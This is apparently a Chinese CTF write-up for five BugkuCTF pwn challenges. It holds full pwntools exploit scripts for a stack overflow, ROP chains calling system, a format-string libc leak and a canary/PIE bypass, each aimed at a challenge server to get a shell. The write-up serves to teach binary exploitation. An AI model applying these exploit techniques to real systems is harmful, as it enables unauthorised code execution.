BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】

buku的pwn按照难度的顺序依次是pwn1，pwn2，pwn4，pwn5，pwn3
这些题目的libc

pwn1

nc连接后直接就有执行权限

ls
cat flag

得到flag

pwn2

下载文件放入ida

有一个有shell，我们只需要将程序跳转到这里
选择main F5查看代码

看到这个s申请了0x30个字节，但是下边read了0x100字节，就造成了栈溢出，我们只要将返回地址溢出为get_shell_的地址就可以得到flag。
s的地址是rbp-30，64位的返回地址通常是rbp+8，二者相差0x38，所以我们只要发送0x38个字符+get_shell的地址就可以得到flag
exp

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

pwn4

sub_400751中虽然调用了system，但参数不是"/bin/sh"，无法获得shell。所以需要我们自己构造shell
将"/bin/sh"作为参数传给system函数，然后调用。在ida的数据段搜索"/bin/sh",找不到，但是可以找到“$0”,也可以得到shell。

"$0"的地址为0x60111f。由于64的程序的参数不在栈中，而是在寄存器中（前六个参数分别位于 rdi,rsi,rdx,rcx,r8,r9）
所以我们要传参还需要将栈中的数据pop到rdi中。
我们把程序放到kali中，利用ROPgadget搜索pop rdi; ret;这样的汇编代码，需要输入这样的命令

ROPgadget --binary pwn4 --only "pop|ret" | grep "rdi"

得到pop_rdi_ret的地址为0x4007d3
然后利用main函数中的变量s进行溢出

exp

from pwn import *

p = remote("114.116.54.89" ,10004)

system = 0x400570
pop_rdi_ret = 0x4007d3
bin_sh = 0x60111F

p.recvuntil('pwn me\n')
payload = 'a' * (0x10 + 8) 
payload += p64(pop_rdi_ret) 
payload += p64(bin_sh) 
payload += p64(system)
p.sendline(payload)
p.interactive()

pwn5

没有system，需要返回到libc。

变量s存在溢出，且要避免执行exit();查看if中比较的两个字符串，一个是“真香”，一个是“鸽子”，也就是说输入字符串s中要同时存在这两个词。
printf()存在格式化字符串漏洞，我们可以读取main函数返回地址，借此计算libc的基址。（这个题应该给出libc文件的，但是没有给，我们可以读pwn4题的libc，应该是一样的）
把libc文件放在ida中，找到_libc_start_main函数中调用main函数的地方，查看地址

这个main的返回地址就=libc基址+0x2082E(这个call rax的偏移地址) + 2(call rax的长度为2)
利用ROPgadget
查libc的system函数偏移地址0x45390
查libc的"/bin/sh"字符串偏移地址0x18cd57
查human的pop_rdi_ret地址0x400933
libc中函数的实际地址=libc基址 + 函数偏移地址
exp

#coding:utf-8
from pwn import *

p = remote("114.116.54.89", "10005")

pop_rdi = 0x400933
bin_add = 0x18cd57
sys_add = 0x45390
gezi = "鸽子"
zhenxiang = "真香"

print p.recvuntil("?\n")
p.sendline("%11$p.")
print p.recvline()
libc_leak = int(p.recvline()[2:-2],16)
libc_base = libc_leak - 0x20830
print p.recvuntil("还有什么本质?")
bin_abs = libc_base + bin_add
sys_abs = libc_base + sys_add
payload = (gezi+zhenxiang).ljust(0x20+8,"A")
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
p.sendline(payload)
p.interactive()

pwn3

checksec一下

全开，有点吓人，不慌，拖进ida

没有system，需要用libc构造shell，有canary保护，需要读canary的值，随机地址，需要读程序基址。

利用thinking_note进行栈溢出，每次利用第一个read和puts获取一个值，第二个read恢复栈并跳回main。

第一步读取canary，也就是栈中的var_8，canary的最低位通常是0x00，所以要将其覆盖（puts函数遇到0x00会停止），第一次写栈从ebp-260写到ebp-7，读出var_8,第二次将var_8写到对应位置，继续覆盖，并让r的最低位变为0x20，这样程序就能返回到main函数，
第二步读取vul的返回地址，第一次写栈到ebp+8(canary要仍要写到var_8对应的位置，不然程序会停止)，读到返回地址r，然后减去0xd2e(ida中看到的vul的返回地址)
第三步读取libc基址
libc基址根据main函数的返回地址计算（方法和pwn5中一样），那么我们怎么找到main函数返回地址的位置呢？

main函数在call vul之前只有push rbp会影响栈，而我们在前两步分别多执行了一次push rbp，所以一共是执行了三次，那么现在main函数返回地址的位置应该和vul函数返回地址的位置相差0x8*4，也就是ebp+0x28.
然后就可以计算libc基址构造shell 了
exp

from pwn import *

p = remote("114.116.54.89", 10000)

val_add = 0xd2e
pop_rdi_add = 0xe03
puts_plt_add = 0x8b0
puts_got_add = 0x202018
start_add = 0xd20

print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)+"B"
p.send(payload)
print p.recvuntil("B")
canary = u64(p.recv(7).rjust(8,"\x00"))
print "cancay:", hex(canary)
x = p.recvline()

p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260+7)+"B"
p.send(payload)
print p.recvuntil("B")
x = p.recvline()
val = u64(x[:-1].ljust(8,"\x00"))
print "val:", hex(val)
elf_base = val - val_add
print hex(elf_base)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

puts_plt = elf_base + puts_plt_add
puts_got = elf_base + puts_got_add
pop_rdi = elf_base + pop_rdi_add
start = elf_base + start_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260 + 8*5-1)+"B" 
p.send(payload)
p.recvuntil("B")
x = p.recvuntil("please")
print x
start_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))
libc_base = start_abs - 0x20830
print hex(start_abs)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += p64(start)
p.send(payload)

bin_add = 0x18cd57
sys_add = 0x45390

bin_abs = libc_base + bin_add
sys_abs = libc_base + sys_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
payload += p64(start)

p.send(payload)
p.recv()
p.recvuntil("(len is 624)\n")
payload = "A"
p.send(payload)
p.interactive()

以上，如有错误，欢迎指正，如有疑问，欢迎提问。